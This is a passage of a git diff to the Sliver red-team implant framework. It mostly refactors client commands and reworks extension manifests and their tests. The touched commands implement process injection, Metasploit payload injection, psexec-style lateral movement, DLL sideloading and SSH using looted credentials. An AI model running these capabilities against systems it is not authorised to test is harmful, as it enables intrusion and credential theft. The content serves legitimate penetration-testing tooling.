hostName string, con *console.SliverConsoleClient) { +func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverClient) { if len(commandOutput) == 0 { con.PrintInfof("There was no output from execution, so there is nothing to loot.\n") return @@ -229,7 +227,7 @@ func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cm loot.SendLootMessage(lootMessage, con) } -func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) { +func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverClient) { con.PrintInfof("Output:\n%s", executionOutput) if saveOutput { @@ -237,7 +235,7 @@ func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName s } } -func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) { +func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverClient) { var outFilePath *os.File var err error @@ -258,7 +256,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st } if outFilePath != nil { - outFilePath.Write([]byte(executionOutput)) + outFilePath.WriteString(executionOutput) con.PrintInfof("Output saved to %s\n", outFilePath.Name()) } } diff --git a/client/command/exec/migrate.go b/client/command/exec/migrate.go index 1a0e421ca5..b892430e23 100644 --- a/client/command/exec/migrate.go +++ b/client/command/exec/migrate.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// MigrateCmd - Windows only, inject an implant into another process -func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MigrateCmd - Windows only, inject an implant into another process. +func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSession() if session == nil { return @@ -50,7 +50,7 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v\n", err) + con.PrintErrorf("Error: %v\n", con.UnwrapServerErr(err)) return } procCtrl <- true @@ -85,7 +85,7 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } if !migrate.Success { diff --git a/client/command/exec/msf-inject.go b/client/command/exec/msf-inject.go index b8d274345a..9d2eedd45c 100644 --- a/client/command/exec/msf-inject.go +++ b/client/command/exec/msf-inject.go @@ -22,9 +22,8 @@ import ( "context" "fmt" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" @@ -32,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// MsfInjectCmd - Inject a metasploit payload into a remote process -func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MsfInjectCmd - Inject a metasploit payload into a remote process. +func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -80,12 +79,12 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if msfTask.Response != nil && msfTask.Response.Async { - con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(msfTask.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, msfTask) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -93,14 +92,13 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } PrintMsfRemote(msfTask, con) }) - con.PrintAsyncResponse(msfTask.Response) } else { PrintMsfRemote(msfTask, con) } } -// PrintMsfRemote - Print the results of the remote injection attempt -func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) { +// PrintMsfRemote - Print the results of the remote injection attempt. +func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverClient) { if msfRemote.Response == nil { con.PrintErrorf("Empty response from msf payload injection task") return diff --git a/client/command/exec/msf.go b/client/command/exec/msf.go index 9108478c66..473ab9248c 100644 --- a/client/command/exec/msf.go +++ b/client/command/exec/msf.go @@ -22,17 +22,16 @@ import ( "context" "fmt" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" ) -// MsfCmd - Inject a metasploit payload into the current remote process -func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MsfCmd - Inject a metasploit payload into the current remote process. +func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -73,12 +72,12 @@ func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if msfTask.Response != nil && msfTask.Response.Async { - con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(msfTask.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, msfTask) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -86,7 +85,6 @@ func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintMsfRemote(msfTask, con) }) - con.PrintAsyncResponse(msfTask.Response) } else { PrintMsfRemote(msfTask, con) } diff --git a/client/command/exec/psexec.go b/client/command/exec/psexec.go index 69f08a3a51..32f504460f 100644 --- a/client/command/exec/psexec.go +++ b/client/command/exec/psexec.go @@ -21,12 +21,11 @@ package exec import ( "context" "fmt" + insecureRand "math/rand" "os" "strings" "time" - insecureRand "math/rand" - "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/command/generate" @@ -39,7 +38,7 @@ import ( ) // PsExecCmd - psexec command implementation. -func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -77,7 +76,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl) profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } generateCtrl <- true @@ -118,7 +117,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri uploadCtrl <- true <-uploadCtrl if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath()) @@ -144,7 +143,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri serviceCtrl <- true <-serviceCtrl if err != nil { - con.PrintErrorf("Error: %v\n", err) + con.PrintErrorf("Error: %v\n", con.UnwrapServerErr(err)) return } if start.Response != nil && start.Response.Err != "" { @@ -164,7 +163,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri removeChan <- true <-removeChan if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } if removed.Response != nil && removed.Response.Err != "" { diff --git a/client/command/exec/sideload.go b/client/command/exec/sideload.go index b965c5385a..76df68b648 100644 --- a/client/command/exec/sideload.go +++ b/client/command/exec/sideload.go @@ -25,17 +25,16 @@ import ( "path/filepath" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// SideloadCmd - Sideload a shared library on the remote system -func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SideloadCmd - Sideload a shared library on the remote system. +func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -75,13 +74,13 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } hostName := getHostname(session, beacon) if sideload.Response != nil && sideload.Response.Async { - con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(sideload.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, sideload) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -90,13 +89,12 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st HandleSideloadResponse(sideload, binPath, hostName, cmd, con) }) - con.PrintAsyncResponse(sideload.Response) } else { HandleSideloadResponse(sideload, binPath, hostName, cmd, con) } } -func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") diff --git a/client/command/exec/spawndll.go b/client/command/exec/spawndll.go index d522f100b4..55a5f76359 100644 --- a/client/command/exec/spawndll.go +++ b/client/command/exec/spawndll.go @@ -24,17 +24,16 @@ import ( "os" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// SpawnDllCmd - Spawn execution of a DLL on the remote system -func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SpawnDllCmd - Spawn execution of a DLL on the remote system. +func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -62,7 +61,7 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Kill: !keepAlive, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } ctrl <- true @@ -70,7 +69,7 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st hostName := getHostname(session, beacon) if spawndll.Response != nil && spawndll.Response.Async { - con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(spawndll.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, spawndll) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -79,13 +78,12 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con) }) - con.PrintAsyncResponse(spawndll.Response) } else { HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con) } } -func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") diff --git a/client/command/exec/ssh.go b/client/command/exec/ssh.go index f7b8f4dbb9..131fa53396 100644 --- a/client/command/exec/ssh.go +++ b/client/command/exec/ssh.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out) -func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out). +func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( privKey []byte err error @@ -102,11 +102,11 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if sshCmd.Response != nil && sshCmd.Response.Async { - con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(sshCmd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, sshCmd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -114,14 +114,13 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintSSHCmd(sshCmd, con) }) - con.PrintAsyncResponse(sshCmd.Response) } else { PrintSSHCmd(sshCmd, con) } } -// PrintSSHCmd - Print the ssh command response -func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) { +// PrintSSHCmd - Print the ssh command response. +func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverClient) { if sshCmd.Response != nil && sshCmd.Response.Err != "" { con.PrintErrorf("Error: %s\n", sshCmd.Response.Err) if sshCmd.StdErr != "" { @@ -139,7 +138,7 @@ func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) } } -func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) { +func tryCredsFromLoot(con *console.SliverClient) (string, string, []byte) { var ( username string password string diff --git a/client/command/exit/exit.go b/client/command/exit/exit.go index b94e11ee33..e1df08e4cf 100644 --- a/client/command/exit/exit.go +++ b/client/command/exit/exit.go @@ -19,37 +19,22 @@ package exit */ import ( - "context" - "fmt" - "os" + "github.com/spf13/cobra" - "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/constants" ) -// ExitCmd - Exit the console -func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - fmt.Println("Exiting...") - if con.IsServer { - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - os.Exit(1) - } - beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) - if err != nil { - os.Exit(1) - } - if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) { - con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons)) - confirm := false - prompt := &survey.Confirm{Message: "Are you sure you want to exit?"} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - } - } - os.Exit(0) +// Commands returns the `exit` command. +func Command(con *console.SliverClient) []*cobra.Command { + return []*cobra.Command{{ + Use: "exit", + Short: "Exit the program", + Annotations: flags.RestrictTargets(constants.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + con.ExitConfirm() + }, + GroupID: constants.GenericHelpGroup, + }} } diff --git a/client/command/extensions/commands.go b/client/command/extensions/commands.go new file mode 100644 index 0000000000..c4c4247e1c --- /dev/null +++ b/client/command/extensions/commands.go @@ -0,0 +1,63 @@ +package extensions + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + extCmd := &cobra.Command{ + Use: consts.ExtensionsStr, + Short: "List current exts", + Long: help.GetHelpFor([]string{consts.ExtensionsStr}), + Run: func(cmd *cobra.Command, args []string) { + ExtensionsCmd(cmd, con) + }, + GroupID: consts.GenericHelpGroup, + } + + extLoadCmd := &cobra.Command{ + Use: consts.LoadStr + " [EXT]", + Short: "Load a command EXT", + Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExtensionLoadCmd(cmd, con, args) + }, + } + carapace.Gen(extLoadCmd).PositionalCompletion( + carapace.ActionDirectories().Tag("ext directory").Usage("path to the ext directory")) + extCmd.AddCommand(extLoadCmd) + + extInstallCmd := &cobra.Command{ + Use: consts.InstallStr + " [EXT]", + Short: "Install a command ext", + Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExtensionsInstallCmd(cmd, con, args) + }, + } + carapace.Gen(extInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("ext file").Usage("path to the extension .tar.gz or directory")) + extCmd.AddCommand(extInstallCmd) + + extendo := &cobra.Command{ + Use: consts.RmStr + " [EXT]", + Short: "Remove an ext", + Long: help.GetHelpFor([]string{consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + // alias.AliasesRemoveCmd(cmd, con, args) + ExtensionsRemoveCmd(cmd, con, args) + }, + } + carapace.Gen(extendo).PositionalCompletion(ExtensionsCommandNameCompleter(con).Usage("the command name of the extension to remove")) + extCmd.AddCommand(extendo) + + return []*cobra.Command{extCmd} +} diff --git a/client/command/extensions/extensions.go b/client/command/extensions/extensions.go index 980386150f..7dab6cba6c 100644 --- a/client/command/extensions/extensions.go +++ b/client/command/extensions/extensions.go @@ -34,8 +34,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// ExtensionsCmd - List information about installed extensions -func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) { +// ExtensionsCmd - List information about installed extensions. +func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) { if 0 < len(getInstalledManifests()) { PrintExtensions(con) } else { @@ -43,10 +43,11 @@ func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) { } } -// PrintExtensions - Print a list of loaded extensions -func PrintExtensions(con *console.SliverConsoleClient) { +// PrintExtensions - Print a list of loaded extensions. +func PrintExtensions(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Command Name", @@ -66,25 +67,27 @@ func PrintExtensions(con *console.SliverConsoleClient) { installedManifests := getInstalledManifests() for _, extension := range loadedExtensions { + //for _, extension := range extensionm.ExtCommand { installed := "" - if _, ok := installedManifests[extension.CommandName]; ok { + if _, ok := installedManifests[extension.Manifest.Name]; ok { installed = "✅" } tw.AppendRow(table.Row{ - extension.Name, + extension.Manifest.Name, extension.CommandName, strings.Join(extensionPlatforms(extension), ",\n"), - extension.Version, + extension.Manifest.Version, installed, - extension.ExtensionAuthor, - extension.OriginalAuthor, - extension.RepoURL, + extension.Manifest.ExtensionAuthor, + extension.Manifest.OriginalAuthor, + extension.Manifest.RepoURL, }) + //} } con.Println(tw.Render()) } -func extensionPlatforms(extension *ExtensionManifest) []string { +func extensionPlatforms(extension *ExtCommand) []string { platforms := map[string]string{} for _, entry := range extension.Files { platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = "" @@ -109,17 +112,17 @@ func getInstalledManifests() map[string]*ExtensionManifest { if err != nil { continue } - installedManifests[manifest.CommandName] = manifest + installedManifests[manifest.Name] = manifest } return installedManifests } -// ExtensionsCommandNameCompleter - Completer for installed extensions command names -func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action { +// ExtensionsCommandNameCompleter - Completer for installed extensions command names. +func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { - installedManifests := getInstalledManifests() + //installedManifests := getInstalledManifests() results := []string{} - for _, manifest := range installedManifests { + for _, manifest := range loadedExtensions { results = append(results, manifest.CommandName) results = append(results, manifest.Help) } diff --git a/client/command/extensions/extensions_test.go b/client/command/extensions/extensions_test.go index 56325b47bd..43be1fc3d5 100644 --- a/client/command/extensions/extensions_test.go +++ b/client/command/extensions/extensions_test.go @@ -1,5 +1,10 @@ package extensions +import ( + "encoding/json" + "testing" +) + /* Sliver Implant Framework Copyright (C) 2021 Bishop Fox @@ -18,26 +23,25 @@ package extensions along with this program. If not, see . */ -import ( - "encoding/json" - "testing" -) - const ( sample1 = `{ "name": "test1", - "command_name": "test1", "version": "1.0.0", "extension_author": "test", "original_author": "test", "repo_url": "https://example.com/", - "help": "some help", - "files": [ - { - "os": "windows", - "arch": "amd64", - "path": "foo/test1.dll" - } + "commands":[ + { + "command_name": "test1", + "help": "some help", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "foo/test1.dll" + } + ] + } ] }` @@ -53,6 +57,60 @@ const ( } ] }` + sample3 = `{ + "name": "test3", + "version": "1.0.0", + "extension_author": "test", + "original_author": "test", + "repo_url": "https://example.com/", + "commands": [ + { + "command_name": "test3", + "help": "some help", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "foo/test1.dll" + } + ] + } + ] +}` + + multicmd = `{ + "name": "example-multientry", + "version": "0.0.0", + "extension_author": "cs", + "original_author": "cs", + "repo_url": "no", + "commands": [ + { + "command_name": "startw", + "help": "startw", + "entrypoint": "StartW", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "ex.dll" + } + ] + }, + { + "command_name": "Test2", + "help": "startw", + "entrypoint": "Test2", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "ex.dll" + } + ] + } + ] + }` ) func TestParseExtensionManifest(t *testing.T) { @@ -63,9 +121,7 @@ func TestParseExtensionManifest(t *testing.T) { if extManifest.Name != "test1" { t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name) } - if extManifest.CommandName != "test1" { - t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName) - } + if extManifest.Version != "1.0.0" { t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version) } @@ -78,68 +134,87 @@ func TestParseExtensionManifest(t *testing.T) { if extManifest.RepoURL != "https://example.com/" { t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL) } - if extManifest.Help != "some help" { - t.Errorf("Expected help 'some help', got '%s'", extManifest.Help) - } - if len(extManifest.Files) != 1 { - t.Errorf("Expected 1 file, got %d", len(extManifest.Files)) + for _, extCmd := range extManifest.ExtCommand { //should only be a single manfiest here, so should pass + if extCmd.CommandName != "test1" { + t.Errorf("Expected extension command name 'test1', got '%s'", extCmd.CommandName) + } + if extCmd.Help != "some help" { + t.Errorf("Expected help 'some help', got '%s'", extCmd.Help) + } + if len(extCmd.Files) != 1 { + t.Errorf("Expected 1 file, got %d", len(extCmd.Files)) + } + if extCmd.Files[0].OS != "windows" { + t.Errorf("Expected OS 'windows', got '%s'", extCmd.Files[0].OS) + } + if extCmd.Files[0].Arch != "amd64" { + t.Errorf("Expected Arch 'amd64', got '%s'", extCmd.Files[0].Arch) + } + if extCmd.Files[0].Path != "/foo/test1.dll" { + t.Errorf("Expected path '/foo/test1.dll', got '%s'", extCmd.Files[0].Path) + } } - if extManifest.Files[0].OS != "windows" { - t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS) + + mextManifest2, err := ParseExtensionManifest([]byte(sample2)) //checking old manifests work good too + if err != nil { + t.Fatalf("Error parsing extension manifest (2): %s", err) } - if extManifest.Files[0].Arch != "amd64" { - t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch) + if mextManifest2.Name != "test2" { + t.Errorf("Expected extension name 'test2', got '%s'", mextManifest2.Name) } - if extManifest.Files[0].Path != "/foo/test1.dll" { - t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path) + for _, extManifest2 := range mextManifest2.ExtCommand { + if extManifest2.CommandName != "test2" { + t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName) + } + if extManifest2.Help != "some help" { + t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help) + } + if len(extManifest2.Files) != 1 { + t.Errorf("Expected 1 file, got %d", len(extManifest2.Files)) + } + if extManifest2.Files[0].OS != "windows" { + t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS) + } + if extManifest2.Files[0].Arch != "amd64" { + t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch) + } + if extManifest2.Files[0].Path != "/foo/test1.dll" { + t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path) + } } - extManifest2, err := ParseExtensionManifest([]byte(sample2)) +} + +func TestParseMultipleCmdManifest(t *testing.T) { + mextManifest, err := ParseExtensionManifest([]byte(multicmd)) if err != nil { - t.Fatalf("Error parsing extension manifest (2): %s", err) + t.Errorf("error parsing manifest: %s", err) } - if extManifest2.Name != "test2" { - t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name) + if mextManifest.Name != "example-multientry" { + t.Errorf("expected name example-multientry, got %s", mextManifest.Name) } - if extManifest2.CommandName != "test2" { - t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName) + + if mextManifest.ExtCommand[0].CommandName != "startw" { + t.Errorf("expected commandname startw, got %s", mextManifest.ExtCommand[0].CommandName) } - if extManifest2.Help != "some help" { - t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help) + if mextManifest.ExtCommand[1].CommandName != "Test2" { + t.Errorf("expected commandname Test2, got %s", mextManifest.ExtCommand[1].CommandName) } - if len(extManifest2.Files) != 1 { - t.Errorf("Expected 1 file, got %d", len(extManifest2.Files)) + if mextManifest.ExtCommand[0].Entrypoint != "StartW" { + t.Errorf("expected entrypoint StartW, got %s", mextManifest.ExtCommand[0].Entrypoint) } - if extManifest2.Files[0].OS != "windows" { - t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS) + if mextManifest.ExtCommand[1].Entrypoint != "Test2" { + t.Errorf("expected entrypoint Test2, got %s", mextManifest.ExtCommand[1].Entrypoint) } - if extManifest2.Files[0].Arch != "amd64" { - t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch) + if mextManifest.ExtCommand[0].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod + t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path) } - if extManifest2.Files[0].Path != "/foo/test1.dll" { - t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path) + if mextManifest.ExtCommand[1].Files[0].Path != "/ex.dll" { //path cleaning adds a root path here? I am not sure if this should be a bug or not... works fine in prod + t.Errorf("expected path ex.dll, got %s", mextManifest.ExtCommand[0].Files[0].Path) } + //maybe some more? args? } -const ( - sample3 = `{ - "name": "test3", - "command_name": "test3", - "version": "1.0.0", - "extension_author": "test", - "original_author": "test", - "repo_url": "https://example.com/", - "help": "some help", - "files": [ - { - "os": "windows", - "arch": "amd64", - "path": "foo/test1.dll" - } - ] -}` -) - func TestParseExtensionManifestErrors(t *testing.T) { sample3, err := ParseExtensionManifest([]byte(sample3)) if err != nil { @@ -155,7 +230,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { } missingCmdName := (*sample3) - missingCmdName.CommandName = "" + missingCmdName.ExtCommand[0].CommandName = "" data, _ = json.Marshal(missingCmdName) _, err = ParseExtensionManifest(data) if err == nil { @@ -163,7 +238,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { } missingHelp := (*sample3) - missingHelp.Help = "" + missingHelp.ExtCommand[0].Help = "" data, _ = json.Marshal(missingHelp) _, err = ParseExtensionManifest(data) if err == nil { @@ -171,7 +246,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { } missingFiles := (*sample3) - missingFiles.Files = []*extensionFile{} + missingFiles.ExtCommand[0].Files = []*extensionFile{} data, _ = json.Marshal(missingFiles) _, err = ParseExtensionManifest(data) if err == nil { @@ -179,7 +254,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { } missingFileOS := (*sample3) - missingFileOS.Files = []*extensionFile{ + missingFileOS.ExtCommand[0].Files = []*extensionFile{ { OS: "", Arch: "amd64", @@ -193,7 +268,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { } missingFileArch := (*sample3) - missingFileArch.Files = []*extensionFile{ + missingFileArch.ExtCommand[0].Files = []*extensionFile{ { OS: "windows", Arch: "", @@ -207,7 +282,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { } missingFilePath := (*sample3) - missingFilePath.Files = []*extensionFile{ + missingFilePath.ExtCommand[0].Files = []*extensionFile{ { OS: "windows", Arch: "amd64", @@ -228,7 +303,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { } for _, invalidPath := range invalidPaths { missingFilePath2 := (*sample3) - missingFilePath2.Files = []*extensionFile{ + missingFilePath2.ExtCommand[0].Files = []*extensionFile{ { OS: "windows", Arch: "amd64", diff --git a/client/command/extensions/install.go b/client/command/extensions/install.go index 66e240f549..767c0840b5 100644 --- a/client/command/extensions/install.go +++ b/client/command/extensions/install.go @@ -22,6 +22,7 @@ import ( "fmt" "os" "path/filepath" + "strings" "github.com/AlecAivazis/survey/v2" "github.com/spf13/cobra" @@ -31,126 +32,95 @@ import ( "github.com/bishopfox/sliver/util" ) -// ExtensionsInstallCmd - Install an extension -func 